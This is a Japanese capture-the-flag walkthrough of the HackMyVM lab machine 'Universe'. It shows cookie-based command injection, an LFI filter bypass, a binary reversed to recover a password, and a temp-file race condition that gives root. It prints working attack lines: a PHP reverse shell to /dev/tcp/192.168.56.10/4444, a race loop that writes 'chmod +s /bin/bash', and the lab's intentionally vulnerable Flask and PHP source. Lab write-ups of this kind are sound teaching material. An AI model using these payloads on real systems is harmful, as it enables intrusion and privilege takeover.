概要#
難易度:困難
靶場地址:https://hackmyvm.eu/machines/machine.php?vm=Universe
初期アクセス#
簡単にスキャン
# Nmap 7.95 scan initiated Wed Jul 2 22:48:57 2025 as: /usr/lib/nmap/nmap -sC -sV -p21,22,1212 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.144
Nmap scan report for 192.168.56.144
Host is up (0.0032s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 95:d6:5d:68:a3:38:f7:74:87:b3:99:20:f8:be:45:4d (ECDSA)
|_ 256 11:77:31:ae:36:4e:22:45:9c:89:8f:5e:e6:01:83:0d (ED25519)
1212/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
| http-title: Universe
|_Requested resource was /?user=920
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
21 ポートは匿名ログインできない
1212 ポートは http で、nmap スキャン結果から user パラメータがあることがわかる
適当にアクセスすると user がランダムに変動することがわかる
直接 fuzz 大法を使って、ウェブページをすべてダウンロードしてみる
for i in {1..1000};do wget http://192.168.56.144:1212?user=$i;done
最後に 9 が成功した
また、wfuzz も試したが成功しなかった。しかし理論的には fuzz ツールは確実に機能するはずなので、ここは皆さんに試してもらいましょう~
wfuzz -c -z range,1-1000 --follow "http://192.168.56.144:1212?user=FUZZ"
Cookie Exec#
ウェブページの表示によると、cookie を渡す必要があるようだが、exec に直接値を渡すとエラーが出る
そこで base64 にエンコードして、コマンドを正常に実行できるようにする(ここは考えにくいが、靶機には何のヒントもない)
私は wget rev.sh を使い、その後 bash rev.sh の方法を用いた
最後に問題のソースコードを添付します:
from flask import Flask, render_template, request, make_response, redirect, url_for
import subprocess
import base64
import random
app = Flask(__name__)
user_id_range = range(1, 1001)
@app.errorhandler(404)
def page_not_found(e):
return redirect(url_for('index', user=random.choice(user_id_range)))
@app.route('/')
def index():
try:
user_id = int(request.args.get('user', -1))
except ValueError:
return redirect(url_for('index', user=random.choice(user_id_range)))
if not isinstance(user_id, int) or user_id not in user_id_range:
user_id = random.choice(user_id_range)
return redirect(url_for('index', user=user_id))
if user_id == 9:
encoded_command = request.cookies.get('exec', '')
if encoded_command:
try:
command = base64.b64decode(encoded_command).decode()
result = subprocess.check_output(command, shell=True).decode()
return render_template('universe.html', result=result)
except Exception as e:
return render_template('universe.html', result="Invalid cookie value"), 500
else:
return render_template('universe.html', result="Missing 'exec' cookie")
return render_template('index.html', user_id=user_id), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=1212)
権限昇格#
ポート転送#
ss -plntu
でローカルでしかアクセスできない 8080 ポートがあることがわかる
そこでポートを転送することにし、socat を使うこともできるが、私は ssh リモートポート転送の方が適用性が広いので好む
ssh -R 18080:127.0.0.1:8080 -CNfg [email protected]
これで直接アクセスできるようになる
LFI#
ページには明らかに LFI が存在するが、制限があり、いくつかのバイパスを試した後、二重書き込みバイパスができることがわかった。…//…//…// を使って上位ディレクトリに戻る
忘れずにシェルを持っているので、まず tmp ディレクトリに php のリバースシェルを作成し、それを含める
<?php system("bash -c 'sh -i >& /dev/tcp/192.168.56.10/4444 0>&1'");?>
http://127.0.0.1:18080/?file=..././..././....//tmp/shell.php
にアクセスすれば void ユーザーのシェルを取得できる
同様にソースコードも添付します:
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Void</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #fffff;
}
header {
background-color: #222529;
padding: 10px;
color: white;
text-align: center;
}
nav {
background-color: #444;
padding: 10px;
text-align: center;
}
nav a {
color: white;
text-decoration: none;
margin: 0 10px;
}
.container {
padding: 20px;
}
</style>
</head>
<body>
<header>
<h1>Void</h1>
</header>
<nav>
<a href="?file=love.php">Love</a>
<a href="?file=shine.php">Shine</a>
<a href="?file=sadness.php">Sadness</a>
</nav>
<div class="container">
<?php
if (isset($_GET['file'])) {
$file = str_replace("../", '', $_GET['file']);
$path = "/home/void/web-void/$file";
if ($file === 'shine.php') {
echo '<p>宇宙の星のように、あなたの内なる光は独自の美しさと比類のない目的を持って輝いています。今この瞬間や他のどの瞬間においても「虚無」を感じるかもしれませんが、宇宙の無限のキャンバスの中で、すべての星にはその場所があり、あなたは人生の星座の中で貴重な星です。あなたの存在は、想像もできない方法で世界を照らしています。あなたはまだ進むことができます。</p>';
} elseif (file_exists($path)) {
include($path);
} else {
echo '<p>工事中</p>';
}
}
?>
</div>
</body>
</html>
Quasar 逆向#
sudo -l で開始
Quasar の他にも、このディレクトリには print.sh スクリプトがある
void@universe:/scripts$ cat print.sh
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
umask 110
/usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
まず Quasar を取り外して具体的に見てみる
プログラムは password が正しいかどうかを確認し、print.sh を実行する
今昔異なり、直接 ida+mcp 自動化逆向で完了です~
## プログラム機能分析
### プログラム概要
これは「universe」という名前のパスワード検証プログラムで、主な機能は:
1. コマンドライン引数としてパスワードを受け取る
2. 数学的演算に基づいてキーを生成する
3. 入力されたパスワードと生成されたキーのSHA256ハッシュを比較する
4. 検証が通ればシェルスクリプトを実行する
### 詳細機能分析
#### 1. 主関数(main - 0x14f2)
- コマンドライン引数の数を確認し、2つ(プログラム名 + パスワード)でなければならない
- 引数が正しくない場合、使用説明を出力する:"Uso: ./Quasar <password>"
- パスワード検証のために3つの重要な関数を呼び出す
#### 2. キー生成関数(sub_1219)
この関数は複雑な数学演算を通じて10文字のキーを生成する:
- 二重ループを使用(外側0-9、内側0-4)
- 各イテレーションで以下の数学演算を行う:
- `sin(π * n9/3 + n4)` の平方
- `log(n9 + n4 + 3)` を前述の結果で掛ける
- `exp(sqrt(n9 + n4 + 1))` を前の結果に加える
- `tgamma(n9 + n4 + 1)` ガンマ関数計算
- 最終的に計算結果を文字に変換して保存する
#### 3. SHA256ハッシュ関数(sub_1414)
- 入力された10バイトデータにSHA256ハッシュを適用する
- 32バイトのハッシュ結果を64文字の16進数文字列に変換する
- OpenSSLのSHA256関数(SHA256_Init, SHA256_Update, SHA256_Final)を使用する
#### 4. 検証ロジック
- 数学的キーを生成し、そのSHA256ハッシュ値を計算する
- ユーザーが入力したパスワードのSHA256ハッシュ値を計算する
- 2つのハッシュ値が同じかどうかを比較する
- 同じであれば`/scripts/print.sh`スクリプトを実行する
- 異なれば「Error!」を出力する
### セキュリティ機能
- スタック保護(stack canary)が使用されている
- パスワード検証は複雑な数学演算に基づいており、直接逆向きにするのが難しい
- 標準のSHA256ハッシュアルゴリズムを使用して比較する
演算ロジックの再現#
逆コンパイルされたコードから、キー生成の数学演算は決定的であることがわかる。Python スクリプトを使って再現できる:
import math
def generate_key():
s1 = ""
for n9 in range(10): # 0 から 9
v10 = 0.0
for n4 in range(5): # 0 から 4
# sin(π * n9/3 + n4)^2
x = math.sin(math.pi * n9 / 3.0 + n4)
v5 = x ** 2
# log(n9 + n4 + 3) * v5
v6 = math.log(n9 + n4 + 3) * v5
# exp(sqrt(n9 + n4 + 1)) + v6
x_1 = math.sqrt(n9 + n4 + 1)
v7 = math.exp(x_1) + v6
# tgamma関数処理
v3 = n9 + n4 + 1
if (n9 + n4) < 0xFFFFFFFE and (n9 + n4) != 0:
v3 = 0
# tgamma(n9 + n4 + 1) * v3 + v7 + v10
v10 = math.gamma(n9 + n4 + 1) * v3 + v7 + v10
# 文字に変換
char_val = int(100.0 * v10) % 10 + 48 # 48 は '0' のASCII
s1 += chr(char_val)
return s1
# キーを生成
key = generate_key()
print(f"Generated key: {key}")
# SHA256ハッシュを計算
import hashlib
hash_value = hashlib.sha256(key.encode()).hexdigest()
print(f"SHA256 hash: {hash_value}")
パスワードは 9740252204 です
書き込み競争#
print.sh スクリプトの内容は以下の通り:
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
umask 110
/usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
/usr/bin/rm "$tmp_file"
このスクリプトは以下の操作を実行します:
/tmp
ディレクトリにread-
で始まる一時ファイルを作成するためにmktemp
コマンドを使用します。ファイル名の後には 5 つのランダムな文字が続きます。- サブシェル(
(
と)
で囲まれた部分)内で、まずumask
コマンドを使用してファイル作成マスクを110
に設定します。これは新しく作成されたファイルが 556 の権限を持つことを意味します。 - メインシェルに戻り、文字列 test を一時ファイルに書き込みます。
cat
コマンドを使用して一時ファイルの内容を読み取り、変数data
に格納します。- 最後に、
eval
コマンドを使用してdata
変数内の内容を実行し、一時ファイルを削除します。
スクリプト内では、コマンドは逐次実行されるため、eval が実行される前に時間的な間隔が存在します。この間隔内に一時ファイルの内容を上書きできれば、任意のコマンドを注入して実行できます。
別のターミナルを開き、次のコマンドを実行します
while :; do a=$(ls /tmp/read-* 2>/dev/null | head -n 1); if [ -n "$a" ]; then echo 'chmod +s /bin/bash' > "$a"; fi; done
原理は非常にシンプルで、死ループを使って tmp 下の一時ファイルを常に監視し(ワイルドカードを組み合わせて)、存在する場合はその中に特権昇格コマンドを書き込むというものです。
最後に競争に成功し、root 権限を取得しました!
後記#
Universe 靶機は非常によく設計されており、非常に包括的な靶機です。「困難」とマークされていますが、全体的な難易度は特に高くないと思います。攻撃プロセスは比較的スムーズで、一歩ずつ進めば問題ありません。exec の部分で base エンコードが必要な点を除けば、他に特に難しい点はありません。特に最後の権限昇格段階では、print.sh
スクリプトの競争条件脆弱性が非常に巧妙に設計されており、全体の挑戦にさらなる魅力を加えています。総じて、非常に試す価値のある包括的な靶機です!